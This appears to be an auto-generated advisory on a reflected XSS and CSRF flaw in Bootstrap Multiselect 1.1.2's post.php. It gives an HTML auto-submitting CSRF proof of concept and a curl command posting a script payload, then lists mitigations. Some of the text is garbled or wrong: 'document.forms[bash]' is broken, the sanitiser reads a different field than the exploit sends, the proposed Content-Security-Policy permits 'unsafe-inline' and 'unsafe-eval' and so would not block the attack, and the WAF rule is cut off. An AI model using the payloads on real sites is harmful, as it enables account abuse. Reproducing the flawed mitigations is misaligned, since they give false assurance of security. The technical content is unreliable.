Bootstrap Multiselect, Cross-Site Scripting (XSS) & CSRF, CVE-2025-XXXX (Moderate)

How the CVE Works:

The vulnerability exists in `post.php` of Bootstrap Multiselect v1.1.2, where unfiltered POST data is directly echoed back in the response. Attackers can craft malicious POST requests containing JavaScript payloads. When a victim is tricked into submitting a CSRF request (e.g., via a phishing link), the payload executes in their browser, leading to Reflective XSS. Since no CSRF protections exist, attackers can force authenticated users to unknowingly submit malicious data.

DailyCVE Form:

Platform: Bootstrap Multiselect
Version: 1.1.2
Vulnerability: CSRF → XSS
Severity: Moderate
Date: May 15, 2025

What Undercode Say:

Exploitation:

1. CSRF PoC (HTML):


<form action="http://victim-site.com/post.php" method="POST">
<input type="hidden" name="payload" value="<script>alert(1)</script>">
</form>

<script>document.forms[bash].submit();</script>

2. CURL Payload:

curl -X POST -d "payload=<script>alert('XSS')</script>" http://victim-site.com/post.php

Mitigation:

1. Input Sanitization (PHP):

echo htmlspecialchars($_POST['data'], ENT_QUOTES, 'UTF-8');

2. CSRF Token Implementation:

session_start();
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("Invalid CSRF Token");
}

3. Content Security Policy (CSP):

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'

4. Update/Replace: Upgrade to patched versions or switch to maintained forks.
5. WAF Rules: Block POST requests containing `

Listen to this Post